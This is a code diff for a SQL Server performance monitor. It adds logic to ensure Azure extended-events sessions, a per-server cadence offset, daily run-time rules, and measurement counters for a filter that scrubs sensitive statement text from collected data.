+        foreach (var key in _choices.Keys)
+        {
+            if (key.StartsWith(prefix, StringComparison.Ordinal))
+            {
+                _choices.TryRemove(key, out _);
+            }
+        }
+
+        foreach (var key in _readOnlyRefusals.Keys)
+        {
+            if (key.StartsWith(prefix, StringComparison.Ordinal))
+            {
+                _readOnlyRefusals.TryRemove(key, out _);
+            }
+        }
+    }
+}
+
+/// <summary>
+/// One database's pass of the Azure ensure for the deadlock or blocked-process session (#4961), as one set of decisions for
+/// both hosts.
+///
+/// <para>With the shared session as the choice: the catalog is read. A deadlock session without the deadlock event is
+/// unusable, and is not dropped. A row that is not running gets a start by name, and the DMV is read again. No row gets the
+/// create, and a create that collides after the catalog missed the session (the catalog is scoped to the login) is read
+/// back the same way: started or not, and a start by name if not. The DMV lists started sessions only, so a stopped shared
+/// session looks invisible until it is started, and the start also covers a create that raced another install's start. Only
+/// a session still not running after that is unusable, and then the install creates and starts its own and reads that.</para>
+///
+/// <para>With its own session as the choice: the shared session is probed first, the same way. Usable, the install drops its
+/// own (its own id, so it may) and reads the shared one again; gone, the install creates it under this login as before, then
+/// switches back. A shared session that stays unusable keeps the fallback, and only the fallback is ensured.</para>
+///
+/// <para>A create or a start that fails is marked (<see cref="AlwaysOnXeSessions.MarkAzureCapsFailure"/>) and thrown as it
+/// came, so the host classifies it as before and its message carries <see cref="AlwaysOnXeSessions.AzureCapsSentence"/>.</para>
+/// </summary>
+public static class AlwaysOnXeAzureEnsure
+{
+    /// <summary>
+    /// The fault a pass throws when the shared session cannot be used and the install has no id to name a session of its own.
+    /// A host whose id store says why it has no id right now (<paramref name="idFailure"/>: the id file cannot be read, or a
+    /// new id cannot be saved) gets that cause and the retry in the message, in the long-query fault's words; a host with
+    /// no id store has nothing to retry and gets the plain sentence.
+    /// </summary>
+    public static string NoOwnSessionMessage(AlwaysOnXeSessionKind kind, string? idFailure)
+    {
+        var shared = AlwaysOnXeSessions.SharedNameFor(kind);
+        return idFailure is { } failure
+            ? $"The shared {shared} session cannot be used in this database, and this install has no id for now to name a session of its own, because {failure}. The next cycle tries again."
+            : $"The shared {shared} session cannot be used in this database, and this install has no id to name a session of its own.";
+    }
+
+    /// <summary>
+    /// One pass of the ensure in one database. <paramref name="ownName"/> is null for a host with no install id, and
+    /// <paramref name="idFailure"/> is why, when the host's id store knows (see <see cref="NoOwnSessionMessage"/>).
+    /// </summary>
+    public static async Task<AlwaysOnXeAzureResult> RunAsync(
+        IAlwaysOnXeDatabase database,
+        AlwaysOnXeSessionKind kind,
+        string? ownName,
+        AlwaysOnXeChoice current,
+        CancellationToken cancellationToken,
+        string? idFailure = null)
+    {
+        ArgumentNullException.ThrowIfNull(database);
+
+        if (current == AlwaysOnXeChoice.Own && ownName is not null)
+        {
+            (bool Usable, AlwaysOnXeChange Change) shared;
+            try
+            {
+                shared = await TrySharedAsync(database, kind, cancellationToken);
+            }
+            catch (Exception ex) when (ex is not OperationCanceledException)
+            {
+                /* The fallback is working, so a shared session that cannot be created or started leaves it in place. */
+                shared = (false, AlwaysOnXeChange.None);
+            }
+
+            if (shared.Usable)
+            {
+                await DropOwnAsync(database, kind, ownName, cancellationToken);
+                return new AlwaysOnXeAzureResult(AlwaysOnXeChoice.Shared, AlwaysOnXeChange.SwitchedBack);
+            }
+
+            var ownChange = await EnsureOwnAsync(database, kind, ownName, cancellationToken);
+            return new AlwaysOnXeAzureResult(AlwaysOnXeChoice.Own, ownChange);
+        }
+
+        var first = await TrySharedAsync(database, kind, cancellationToken);
+        if (first.Usable)
+        {
+            return new AlwaysOnXeAzureResult(AlwaysOnXeChoice.Shared, first.Change);
+        }
+
+        if (ownName is null)
+        {
+            throw new InvalidOperationException(NoOwnSessionMessage(kind, idFailure));
+        }
+
+        await EnsureOwnAsync(database, kind, ownName, cancellationToken);
+        return new AlwaysOnXeAzureResult(AlwaysOnXeChoice.Own, AlwaysOnXeChange.FellBack);
+    }
+
+    private static async Task<(bool Usable, AlwaysOnXeChange Change)> TrySharedAsync(
+        IAlwaysOnXeDatabase database, AlwaysOnXeSessionKind kind, CancellationToken cancellationToken)
+    {
+        var shared = AlwaysOnXeSessions.SharedNameFor(kind);
+        var catalog = await database.ReadCatalogAsync(kind, shared, cancellationToken);
+
+        switch (catalog)
+        {
+            case AlwaysOnXeCatalog.WrongEvent:
+                /* Not dropped: another install may be reading it. This install reads its own instead. */
+                return (false, AlwaysOnXeChange.None);
+
+            case AlwaysOnXeCatalog.Present:
+                if (await database.IsStartedAsync(shared, cancellationToken))
+                {
+                    return (true, AlwaysOnXeChange.None);
+                }
+
+                return await StartAndReadBackAsync(database, kind, shared, cancellationToken);
+
+            default:
+                try
+                {
+                    await CreateAsync(database, kind, shared, cancellationToken);
+                    return (true, AlwaysOnXeChange.Created);
+                }
+                catch (Exception ex) when (database.IsAlreadyPresent(ex))
+                {
+                    /* The catalog missed a session the engine has: another install's, or one this login cannot list. */
+                    if (await database.IsStartedAsync(shared, cancellationToken))
+                    {
+                        return (true, AlwaysOnXeChange.None);
+                    }
+
+                    return await StartAndReadBackAsync(database, kind, shared, cancellationToken);
+                }
+        }
+    }
+
+    private static async Task<(bool Usable, AlwaysOnXeChange Change)> StartAndReadBackAsync(
+        IAlwaysOnXeDatabase database, AlwaysOnXeSessionKind kind, string sessionName, CancellationToken cancellationToken)
+    {
+        await StartByNameAsync(database, kind, sessionName, cancellationToken);
+        return await database.IsStartedAsync(sessionName, cancellationToken)
+            ? (true, AlwaysOnXeChange.Started)
+            : (false, AlwaysOnXeChange.None);
+    }
+
+    private static async Task<AlwaysOnXeChange> EnsureOwnAsync(
+        IAlwaysOnXeDatabase database, AlwaysOnXeSessionKind kind, string ownName, CancellationToken cancellationToken)
+    {
+        var catalog = await database.ReadCatalogAsync(kind, ownName, cancellationToken);
+        if (catalog != AlwaysOnXeCatalog.Missing)
+        {
+            if (await database.IsStartedAsync(ownName, cancellationToken))
+            {
+                return AlwaysOnXeChange.None;
+            }
+
+            await StartByNameAsync(database, kind, ownName, cancellationToken);
+            return AlwaysOnXeChange.Started;
+        }
+
+        try
+        {
+            await CreateAsync(database, kind, ownName, cancellationToken);
+            return AlwaysOnXeChange.Created;
+        }
+        catch (Exception ex) when (database.IsAlreadyPresent(ex))
+        {
+            await StartByNameAsync(database, kind, ownName, cancellationToken);
+            return AlwaysOnXeChange.Started;
+        }
+    }
+
+    private static async Task DropOwnAsync(
+        IAlwaysOnXeDatabase database, AlwaysOnXeSessionKind kind, string ownName, CancellationToken cancellationToken)
+    {
+        /* An own session the catalog does not list is not there to drop. */
+        if (await database.ReadCatalogAsync(kind, ownName, cancellationToken) == AlwaysOnXeCatalog.Missing)
+        {
+            return;
+        }
+
+        await DropOwnSessionAsync(database, kind, ownName, cancellationToken);
+    }
+
+    /// <summary>
+    /// Drops this install's own session in one database, in the order the engine documents for a session that runs on a
+    /// read-only replica (#4961): stopped over the registration's own connection, only when it runs there, then dropped over a
+    /// connection without the read-only intent. A registration without the intent drops it over its own connection in one
+    /// statement, as before. Throws for a name that is not an own name, as the drop builder does. Used by the switch back and
+    /// by a removed server's drop, so the order exists once.
+    /// </summary>
+    public static async Task DropOwnSessionAsync(
+        IAlwaysOnXeDatabase database, AlwaysOnXeSessionKind kind, string ownName, CancellationToken cancellationToken)
+    {
+        ArgumentNullException.ThrowIfNull(database);
+
+        var drop = AlwaysOnXeSessions.BuildAzureDropSql(kind, ownName);
+        if (!database.ReadOnlyIntent)
+        {
+            await database.ExecuteAsync(drop, cancellationToken);
+            return;
+        }
+
+        /* Hyperscale limit (#4961): with several high-availability replicas, a read-only connection lands on one replica the app
+           cannot choose, so this stop reaches only that one, and a copy of the session that runs on another replica is not stopped.
+           Microsoft Learn describes no way to address one HA replica; it says the read-intent workload is "distributed arbitrarily
+           across all available HA replicas": https://learn.microsoft.com/azure/azure-sql/database/service-tier-hyperscale-replicas#connect-to-an-ha-replica */
+        if (await database.IsStartedAsync(ownName, cancellationToken))
+        {
+            await database.ExecuteAsync(AlwaysOnXeSessions.BuildAzureStopSql(kind, ownName), cancellationToken);
+        }
+
+        await database.ExecuteWithoutReadOnlyIntentAsync(drop, cancellationToken);
+    }
+
+    /// <summary>
+    /// Creates one session and starts it. A registration without read-only intent sends the create and the start as one batch
+    /// over its own connection, as before. One with the intent sends the definition over a connection without it, then starts
+    /// the session over its own connection, by name: the definition replicates to the replica, and run state is per replica
+    /// (#4961). A failure of either is marked for the caps sentence, unless it is the engine's "already there".
+    /// </summary>
+    private static async Task CreateAsync(
+        IAlwaysOnXeDatabase database, AlwaysOnXeSessionKind kind, string sessionName, CancellationToken cancellationToken)
+    {
+        if (!database.ReadOnlyIntent)
+        {
+            await ExecuteDdlAsync(database, AlwaysOnXeSessions.BuildAzureCreateSql(kind, sessionName), cancellationToken);
+            return;
+        }
+
+        await ExecuteDdlAsync(
+            database, AlwaysOnXeSessions.BuildAzureCreateDefinitionSql(kind, sessionName), cancellationToken, withoutReadOnlyIntent: true);
+        await StartByNameAsync(database, kind, sessionName, cancellationToken);
+    }
+
+    private static async Task StartByNameAsync(
+        IAlwaysOnXeDatabase database, AlwaysOnXeSessionKind kind, string sessionName, CancellationToken cancellationToken)
+    {
+        try
+        {
+            await ExecuteDdlAsync(database, AlwaysOnXeSessions.BuildAzureStartSql(kind, sessionName), cancellationToken);
+        }
+        catch (Exception ex) when (database.IsAlreadyPresent(ex))
+        {
+            /* 25705: already started, which is what the start was for. */
+        }
+    }
+
+    /// <summary>
+    /// Runs a create or a start. A failure that is not the engine's "already there" is marked for the caps sentence, unless
+    /// it is a read-only database's refusal (<see cref="AlwaysOnXeSessions.MarkAzureCapsFailure"/>).
+    /// </summary>
+    private static async Task ExecuteDdlAsync(
+        IAlwaysOnXeDatabase database, string statement, CancellationToken cancellationToken, bool withoutReadOnlyIntent = false)
+    {
+        try
+        {
+            if (withoutReadOnlyIntent)
+            {
+                await database.ExecuteWithoutReadOnlyIntentAsync(statement, cancellationToken);
+            }
+            else
+            {
+                await database.ExecuteAsync(statement, cancellationToken);
+            }
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException && !database.IsAlreadyPresent(ex))
+        {
+            AlwaysOnXeSessions.MarkAzureCapsFailure(ex, database.ErrorNumbers(ex));
+            throw;
+        }
+    }
+}
diff --git a/PerformanceMonitor.Collectors/AzureSweepScope.cs b/PerformanceMonitor.Collectors/AzureSweepScope.cs
index d12a36626f..2cffab2933 100644
--- a/PerformanceMonitor.Collectors/AzureSweepScope.cs
+++ b/PerformanceMonitor.Collectors/AzureSweepScope.cs
@@ -41,6 +41,22 @@ namespace PerformanceMonitor.Collectors;
 /// </summary>
 public static class AzureSweepScope
 {
+    /// <summary>
+    /// The listed databases without the ones monitored as their own servers, for a collector whose read skips them
+    /// (<see cref="ICollectorDefinition{TRow}.SkipsSeparatelyMonitoredDatabases"/>). Returns the list itself when
+    /// there is nothing to skip.
+    /// </summary>
+    public static List<string> WithoutSeparatelyMonitored(List<string> databases, IReadOnlyCollection<string> separatelyMonitored)
+    {
+        if (separatelyMonitored.Count == 0)
+        {
+            return databases;
+        }
+
+        var skip = new HashSet<string>(separatelyMonitored, StringComparer.OrdinalIgnoreCase);
+        return databases.FindAll(database => !skip.Contains(database));
+    }
+
     /// <summary>
     /// The single database this registration names, or an EMPTY list when it names none.
     ///
diff --git a/PerformanceMonitor.Collectors/BlockedProcessReportCollector.cs b/PerformanceMonitor.Collectors/BlockedProcessReportCollector.cs
index 21fc2dc616..5ca59de3fe 100644
--- a/PerformanceMonitor.Collectors/BlockedProcessReportCollector.cs
+++ b/PerformanceMonitor.Collectors/BlockedProcessReportCollector.cs
@@ -437,7 +437,7 @@ the guard above was never a screen -- the cross-database reference was attempted
         IF HAS_DBACCESS(DB_NAME(@resolve_database_id)) = 1
         BEGIN
             SET @resolve_sql = N'
-            UPDATE b
+            UPDATE /* PerformanceMonitorLite */ b
             SET b.resource_object_id = p.object_id
             FROM #bpr AS b
             JOIN ' + QUOTENAME(DB_NAME(@resolve_database_id)) + N'.sys.partitions AS p
@@ -566,7 +566,7 @@ IF HAS_DBACCESS(DB_NAME(@resolve_database_id)) = 1
                    Deferring it to a nested batch is what keeps this collector runnable on 2016
                    and 2017 at all. */
                 SET @resolve_sql = N'
-                UPDATE b
+                UPDATE /* PerformanceMonitorLite */ b
                 SET b.resource_object_id = pi.object_id
                 FROM #bpr AS b
                 CROSS APPLY sys.dm_db_page_info(b.resource_database_id, b.resource_file_id, b.resource_page_id, ''LIMITED'') AS pi
@@ -763,6 +763,14 @@ CollectorContext.EventFallbackWindow on first run. */
            of which XeShredGate.ShouldShred treats as "shred". */
         var lastExecutionCount = XeShredGate.ReadLast(context.State, context.CurrentDatabaseName);
 
+        /* #4961: the session this database's read names: the shared one, or this install's own when the ensure fell back to
+           it there. Only the session-name literals are replaced, never the table variable that shares the spelling. */
+        var sessionName = AlwaysOnXeSessions.ReadNameFor(AlwaysOnXeSessionKind.BlockedProcess, context.AlwaysOnSessionName);
+        if (!string.Equals(sessionName, XeSessionName, StringComparison.Ordinal))
+        {
+            query = query.Replace($"N'{XeSessionName}'", $"N'{sessionName}'", StringComparison.Ordinal);
+        }
+
         return new CollectorQuery(query, new List<CollectorParameter>
         {
             new("@cutoff_time", cutoffTime, CollectorParameterType.DateTime2),
@@ -891,6 +899,9 @@ public override async ValueTask<List<Row>> ReadAsync(DbDataReader reader, Collec
         var eventsRead = 0;
         var emptyReports = 0;
         var unparsedReports = 0;
+        /* #4348: one statement-filter session for this read. Each string that carries a statement is judged where it
+           first enters the row; the identity of everything stored is then computed from the filtered value. */
+        var scrub = context.BeginStatementScrub();
 
         while (await reader.ReadAsync(cancellationToken))
         {
@@ -913,7 +924,9 @@ public override async ValueTask<List<Row>> ReadAsync(DbDataReader reader, Collec
                 continue;
             }
 
-            /* Parse the blocked process report XML in C# (read phase, like the original) */
+            /* Parse the blocked process report XML in C# (read phase, like the original). The RAW report is parsed
+               first and each derived string is judged after (#4348): the inputbuf text with Text and the whole
+               report with Xml, the same judge on the same decoded text, so the verdicts agree. */
             var parsed = ParseReportXml(reportXml, eventTime);
             if (parsed == null)
             {
@@ -921,12 +934,14 @@ public override async ValueTask<List<Row>> ReadAsync(DbDataReader reader, Collec
                 continue;
             }
 
-            parsed.ReportXml = reportXml;
+            parsed.BlockedSqlText = scrub.Text(parsed.BlockedSqlText);
+            parsed.BlockingSqlText = scrub.Text(parsed.BlockingSqlText);
+            parsed.ReportXml = scrub.Xml(reportXml);
             parsed.ObjectId = objectId;
             parsed.DatabaseId = databaseId;
             parsed.ContentiousObject = contentiousObject;
-            parsed.BlockedQueryPlanXml = blockedQueryPlanXml;
-            parsed.BlockingQueryPlanXml = blockingQueryPlanXml;
+            parsed.BlockedQueryPlanXml = scrub.Xml(blockedQueryPlanXml);
+            parsed.BlockingQueryPlanXml = scrub.Xml(blockingQueryPlanXml);
             /* Per-database path (#1535): the capture database is authoritative for the
                per-database watermark key — a database-scoped session only captures its own
                database, and a report whose XML carries no currentdbname would otherwise never
@@ -993,10 +1008,13 @@ public override async ValueTask ApplySupplementalAsync(List<Row> rows, DbDataRea
             return;
         }
 
+        /* #4348: the resolved name replaces a placeholder that was not statement text, but it is a new string
+           that enters the row here, so it goes through the filter again. */
+        var scrub = context.BeginStatementScrub();
         foreach (var row in rows)
         {
-            row.BlockedSqlText = ProcPlaceholder.Resolve(row.BlockedSqlText, resolved);
-            row.BlockingSqlText = ProcPlaceholder.Resolve(row.BlockingSqlText, resolved);
+            row.BlockedSqlText = scrub.Text(ProcPlaceholder.Resolve(row.BlockedSqlText, resolved));
+            row.BlockingSqlText = scrub.Text(ProcPlaceholder.Resolve(row.BlockingSqlText, resolved));
         }
     }
 
diff --git a/PerformanceMonitor.Collectors/CollectorCadence.cs b/PerformanceMonitor.Collectors/CollectorCadence.cs
index 5d8689a818..86b1057c07 100644
--- a/PerformanceMonitor.Collectors/CollectorCadence.cs
+++ b/PerformanceMonitor.Collectors/CollectorCadence.cs
@@ -65,4 +65,37 @@ public static DateTime ClampDue(DateTime due, DateTime now, TimeSpan interval) =
     /// decides exactly as <c>nowUtc - lastUtc &gt;= interval</c> does.</summary>
     public static bool IntervalElapsed(DateTime lastUtc, DateTime nowUtc, TimeSpan interval) =>
         ClampDue(lastUtc + interval, nowUtc, interval) <= nowUtc;
+
+    /// <summary>
+    /// A deterministic, restart-stable per-server phase offset within a cadence period (#1553 cadence jitter), used
+    /// to break the fleet-wide lockstep at cadence boundaries: the field incident re-herded every server at once, so
+    /// at each boundary all collectors fired together. <paramref name="serverId"/> is the monitored server's id,
+    /// which today is an FNV-1a hash of its name (<c>ServerIdHelper.GetDeterministicHashCode</c>), so a plain modulo
+    /// spreads it across <c>[0, period)</c> without any further mixing (an extra multiply was left out as
+    /// unnecessary: the input is already avalanched). This is the one consumer that wants the value only as a
+    /// spreading function rather than as an identity, so if #2218 ever makes ids sequential the extra mixing that was
+    /// left out has to come back here: consecutive integers modulo a period do not spread, they line up.
+    /// Restart-stable because it is a pure function of the id, with no <see cref="Random"/>.
+    ///
+    /// <para>A non-positive period yields no offset (it guards the callers where a period could in principle be
+    /// zero, and keeps the result well defined for tests). It is applied at initial cadence stamps and never to the
+    /// steady-state advance of a grid: the Darling worker's cold-start sweep spread, its on-connect analysis stamp
+    /// and, capped at 150 seconds, its seed jitter for an overdue or never-run collector (#1575). A daily
+    /// collector's run time takes its fixed per-server spread from it over one hour (#4938,
+    /// <see cref="CollectorRunTime.Spread"/>).</para>
+    ///
+    /// <para>Moved here from the Darling worker (#4938) so the run-time rules in this project can share it, with the
+    /// values unchanged.</para>
+    /// </summary>
+    public static TimeSpan CadencePhaseOffset(int serverId, int periodSeconds)
+    {
+        if (periodSeconds <= 0)
+        {
+            return TimeSpan.Zero;
+        }
+
+        /* Cast to uint first so a negative FNV hash still maps into [0, period): a signed modulo would yield a
+           negative offset and pull the due time into the past. */
+        return TimeSpan.FromSeconds((uint)serverId % periodSeconds);
+    }
 }
diff --git a/PerformanceMonitor.Collectors/CollectorContext.cs b/PerformanceMonitor.Collectors/CollectorContext.cs
index a11dbdae35..00a09de10e 100644
--- a/PerformanceMonitor.Collectors/CollectorContext.cs
+++ b/PerformanceMonitor.Collectors/CollectorContext.cs
@@ -9,6 +9,7 @@
 using System;
 using System.Collections.Generic;
 using System.Text;
+using PerformanceMonitor.Common;
 
 namespace PerformanceMonitor.Collectors;
 
@@ -202,7 +203,14 @@ public void LandStagedItemState()
     /// operator acts on it, which is the failure <c>CollectorRuntimePrecondition</c> (#2546) exists to
     /// prevent; a stored count stays true and lets the read derive the verdict fresh on every call.</para>
     /// </summary>
-    public IReadOnlyList<CollectorMeasurement> Measurements => _measurements;
+    public IReadOnlyList<CollectorMeasurement> Measurements
+    {
+        get
+        {
+            FoldStatementScrub();
+            return _measurements;
+        }
+    }
 
     private readonly List<CollectorMeasurement> _measurements = new();
 
@@ -259,6 +267,98 @@ public void Measure(string label, long value)
         _measurements.Add(new CollectorMeasurement(label, value));
     }
 
+    /// <summary>Values the statement filter withheld this cycle because they were named or their match timed out
+    /// (#4348).</summary>
+    public const string StatementScrubNamedMeasurement = "statement_scrub_named";
+
+    /// <summary>Regex matches that timed out this cycle (#4348).</summary>
+    public const string StatementScrubTimeoutsMeasurement = "statement_scrub_timeouts";
+
+    /// <summary>Values withheld unjudged this cycle because the scrub budget was spent. Above 0 means the budget ran
+    /// out; in the field it should be 0 (#4348).</summary>
+    public const string StatementScrubUnjudgedMeasurement = "statement_scrub_unjudged";
+
+    /// <summary>Milliseconds the statement filter spent this cycle (#4348).</summary>
+    public const string StatementScrubMsMeasurement = "statement_scrub_ms";
+
+    private readonly List<ScrubTally> _scrubSessions = new();
+    private readonly object _scrubGate = new();
+
+    /// <summary>
+    /// Test seam (#5459): makes the session <see cref="BeginStatementScrub"/> hands out, so a test can pin a budget that
+    /// cannot run out on a slow runner, or one that is already spent, instead of the wall-clock 15 seconds. Production
+    /// never sets it, so every read gets the usual <c>new Session()</c>.
+    /// </summary>
+    internal Func<SensitiveStatements.Session>? ScrubSessionFactory { get; set; }
+
+    /// <summary>
+    /// Starts the statement filter's session for ONE read call (#4348). A collector wraps each statement or plan
+    /// string with the session at the line where the string first enters a row; the session judges under one
+    /// 15-second budget that every string of the call shares (the limit is per session, not per string). The context adds every session's counters into the four <c>statement_scrub_*</c>
+    /// measurements, written only when the cycle judged a value (a cycle that read no statement text carries none).
+    /// </summary>
+    public SensitiveStatements.Session BeginStatementScrub()
+    {
+        var session = ScrubSessionFactory?.Invoke() ?? new SensitiveStatements.Session();
+        lock (_scrubGate)
+        {
+            _scrubSessions.Add(new ScrubTally(session));
+        }
+
+        return session;
+    }
+
+    /// <summary>One session and what has already been added to the measurements for it, so a second read of
+    /// <see cref="Measurements"/> adds only what the session did since.</summary>
+    private sealed class ScrubTally(SensitiveStatements.Session session)
+    {
+        public SensitiveStatements.Session Session { get; } = session;
+        public long Named { get; set; }
+        public long TimedOut { get; set; }
+        public long Unjudged { get; set; }
+        public long Ms { get; set; }
+    }
+
+    private bool _scrubMeasured;
+
+    private void FoldStatementScrub()
+    {
+        lock (_scrubGate)
+        {
+            if (_scrubSessions.Count == 0)
+            {
+                return;
+            }
+
+            long named = 0, timedOut = 0, unjudged = 0, ms = 0;
+            var judged = false;
+            foreach (var tally in _scrubSessions)
+            {
+                var s = tally.Session;
+                judged |= s.Values > 0;
+                named += s.Named - tally.Named;
+                timedOut += s.TimedOut - tally.TimedOut;
+                unjudged += s.Unjudged - tally.Unjudged;
+                ms += s.ElapsedMs - tally.Ms;
+                tally.Named = s.Named;
+                tally.TimedOut = s.TimedOut;
+                tally.Unjudged = s.Unjudged;
+                tally.Ms = s.ElapsedMs;
+            }
+
+            if (!judged && !_scrubMeasured)
+            {
+                return;
+            }
+
+            _scrubMeasured = true;
+            this.Measure(StatementScrubNamedMeasurement, named);
+            this.Measure(StatementScrubTimeoutsMeasurement, timedOut);
+            this.Measure(StatementScrubUnjudgedMeasurement, unjudged);
+            this.Measure(StatementScrubMsMeasurement, ms);
+        }
+    }
+
     /// <summary>Wait types excluded from collection (Lite: ignored_wait_types.json — #1240).</summary>
     public IReadOnlySet<string> IgnoredWaitTypes { get; init; } = s_emptySet;
 
@@ -288,6 +388,31 @@ public void Measure(string label, long value)
     /// </summary>
     public bool CapturePlanXml { get; init; }
 
+    /// <summary>
+    /// #5158: when true (and <see cref="CapturePlanXml"/> is on), <c>query_stats</c> leaves the plan out of
+    /// its main query, so the SELECT is the same no-plan form Lite ships and ordinals 44/45 do not exist.
+    /// <c>procedure_stats</c> does the same at module grain (offsets 0, -1; its plan ordinals are 27/28) and
+    /// adds three identity columns at 27-29 in their place; its fetch is <c>ProcedureStatsCollector.BuildPlanFetchQuery</c>.
+    /// The host then fetches plan XML in a second target query, <c>QueryStatsCollector.BuildPlanFetchQuery</c>,
+    /// for only the statement plans it has not already committed. Inline capture renders and ships about
+    /// 200 plans every run whether or not the store holds them (one large store: 54 GB/h rendered and
+    /// 29 GB/h shipped against 1.1 GB/h of distinct plans). Default false: every collector's SQL and
+    /// behavior are unchanged until a host sets it.
+    /// </summary>
+    public bool DeferPlanXmlFetch { get; init; }
+
+    /// <summary>
+    /// #5158: when true, <c>procedure_stats</c> appends the three plan-identity columns (<c>plan_statement_count</c>,
+    /// <c>plan_last_statement_compile</c>, <c>plan_generation_sum</c>) to its SELECT, so a host can recognize the
+    /// plans it holds. With <see cref="CapturePlanXml"/> on and <see cref="DeferPlanXmlFetch"/> off they follow the
+    /// inline plan columns (ordinals 29-31) and the plans render exactly as without the flag: this is how a host
+    /// measures whether its identity would have recognized plans it just rendered, without changing what is stored.
+    /// With <see cref="CapturePlanXml"/> off they stand alone at ordinals 27-29, which lets a host that defers its
+    /// plan fetch recognize plans on a cycle that renders none. Default false: no collector's SQL changes until a
+    /// host sets it.
+    /// </summary>
+    public bool PlanIdentityColumns { get; init; }
+
     /// <summary>
     /// Whether this target has granted <c>pg_read_binary_file</c> (#4046 part 1c), resolved by the host
     /// through <see cref="PgReadBinaryFileCapability.IsGrantedAsync"/> BEFORE <c>BuildQuery</c> runs, for
@@ -419,6 +544,23 @@ public void Measure(string label, long value)
     /// </summary>
     public IReadOnlyList<string>? PerfmonCounterOverride { get; init; }
 
+    /// <summary>
+    /// The name of this install's long-query completions session (#4961), made by the host from its product and its
+    /// install id (<see cref="LongQueryCompletionsCollector.XeSessionNameFor"/>). Only the long-query definition reads
+    /// it. Null when the host has no install id: the host then has no session to read, and says so as a fault before the
+    /// read, so the definition does not fall back to another install's name.
+    /// </summary>
+    public string? LongQuerySessionName { get; init; }
+
+    /// <summary>
+    /// The session the deadlock or blocked-process read names in the database being read (#4961): the shared name, or this
+    /// install's own when the host's ensure fell back to it there. Set by the host's per-database loop beside
+    /// <see cref="CurrentDatabaseName"/>, because the choice is per database. Null reads the shared name, which is every
+    /// server-scoped read and a database the ensure has not reached yet. Only the deadlock and blocked-process definitions
+    /// read it, and they refuse any name that is neither the shared name nor an own name of their capture.
+    /// </summary>
+    public string? AlwaysOnSessionName { get; set; }
+
     /// <summary>
     /// Host override for the per-item text byte budget (#2164), in BYTES. Null keeps the definition's
     /// own <see cref="ICollectorDefinition{TRow}.PerItemTextByteBudget"/> — which is what Lite passes,
@@ -684,6 +826,16 @@ public long PerDatabaseOtherMsFrom(long databaseSqlMs) =>
     /// </summary>
     public long PerItemPlanFetchMs { get; set; }
 
+    /// <summary>
+    /// #5158: how many statement plans the host actually rendered on the monitored server this pass, with
+    /// <see cref="DeferPlanXmlFetch"/> on. A row whose plan the host already held is not counted. Zero when
+    /// the fetch is not deferred, which is also when every row carries its inline plan.
+    /// </summary>
+    public int PerItemPlanRenderedRows { get; set; }
+
+    /// <summary>#5158: the measured plan size, in bytes, of the plans counted by <see cref="PerItemPlanRenderedRows"/>, over-cap plans included.</summary>
+    public long PerItemPlanRenderedBytes { get; set; }
+
     /// <summary>
     /// Milliseconds the item's separate statement-text fetch took (#2150's fetch, split out for the #2312
     /// investigation) — same contract as <see cref="PerItemPlanFetchMs"/>: inside <c>sql:</c>, not drain,
diff --git a/PerformanceMonitor.Collectors/CollectorDefinitionBase.cs b/PerformanceMonitor.Collectors/CollectorDefinitionBase.cs
index 852af08dcf..ea95916a55 100644
--- a/PerformanceMonitor.Collectors/CollectorDefinitionBase.cs
+++ b/PerformanceMonitor.Collectors/CollectorDefinitionBase.cs
@@ -81,6 +81,8 @@ so without this a derived definition could not `override` it and the interface m
 
     public virtual bool RunsPerDatabase(CollectorTargetInfo target) => false;
 
+    public virtual bool SkipsSeparatelyMonitoredDatabases => false;
+
     public abstract CollectorQuery BuildQuery(CollectorContext context);
 
     public virtual CollectorQuery? BuildSupplementalQuery(CollectorContext context) => null;
diff --git a/PerformanceMonitor.Collectors/CollectorRunTime.cs b/PerformanceMonitor.Collectors/CollectorRunTime.cs
new file mode 100644
index 0000000000..0a005dbffc
--- /dev/null
+++ b/PerformanceMonitor.Collectors/CollectorRunTime.cs
@@ -0,0 +1,226 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Globalization;
+
+namespace PerformanceMonitor.Collectors;
+
+/// <summary>
+/// #4938: the shared rules for a run time on a daily collector, so a heavy once-a-day collector runs in a quiet
+/// hour instead of whenever the service happened to start. They sit beside <see cref="CollectorCadence"/> and are
+/// pure: no clock, no zone, no store. Each app passes the pieces in, and nothing here changes behavior until an
+/// app calls it.
+///
+/// <para><b>The run time is the monitored server's wall clock.</b> This type never knows a time zone. It takes a
+/// local-to-UTC conversion as a delegate (an app passes <c>ServerClock.ToUtc</c>), and calls it once per slot with
+/// the server-local time as a <see cref="DateTimeKind.Unspecified"/> value. While a server's clock is not known
+/// yet, pass <see cref="LocalIsUtc"/>, which reads the run time as UTC. Every slot is computed from its own
+/// date's local time, never as the last slot plus 1440 minutes, so the slot stays at the same local time across a
+/// daylight-saving change (a day is 23 or 25 hours long twice a year).</para>
+///
+/// <para><b>The slot.</b> A server's slot on a local date is that date at the run time plus a fixed
+/// per-server spread (<see cref="Spread"/>, under 60 minutes, a pure function of the server id), so a fleet-wide
+/// run time lands on the fleet across one hour instead of one minute. A run may start from the slot until the
+/// slot plus <see cref="Grace"/> (60 minutes). Neither number is a setting.</para>
+///
+/// <para><b>When it runs.</b> <see cref="NextDue"/> holds the rules. A collector that has not run, or has missed
+/// its day, waits for its next slot; inside a slot's grace it runs now (the caller adds its seed jitter).
+/// Outside the grace it waits for the next slot, never now plus jitter. After a run the next due time is the slot
+/// <c>interval / 1440</c> days on. A missed day is skipped, never replayed.</para>
+///
+/// <para><b>Only whole days.</b> A run time on an hourly collector would only pick the minute past the hour, which
+/// does not move a busy hour, so <see cref="AllowsRunAt"/> accepts only a positive multiple of 1440 minutes.</para>
+/// </summary>
+public static class CollectorRunTime
+{
+    /// <summary>The period the per-server spread is taken over, in seconds: one hour.</summary>
+    public const int SpreadSeconds = 3600;
+
+    /// <summary>How long after its slot a run may still start, in minutes.</summary>
+    public const int GraceMinutes = 60;
+
+    /// <summary>How long after its slot a run may still start. A run time is a quiet hour, so a run that cannot
+    /// start inside it waits for the next slot. A start at exactly the slot, or at exactly the slot plus this, is
+    /// inside.</summary>
+    public static readonly TimeSpan Grace = TimeSpan.FromMinutes(GraceMinutes);
+
+    /// <summary>The text every editor shows for a run time that is not a 24-hour <c>HH:MM</c> time, so the Darling
+    /// viewer, the CLI and Lite show one wording.</summary>
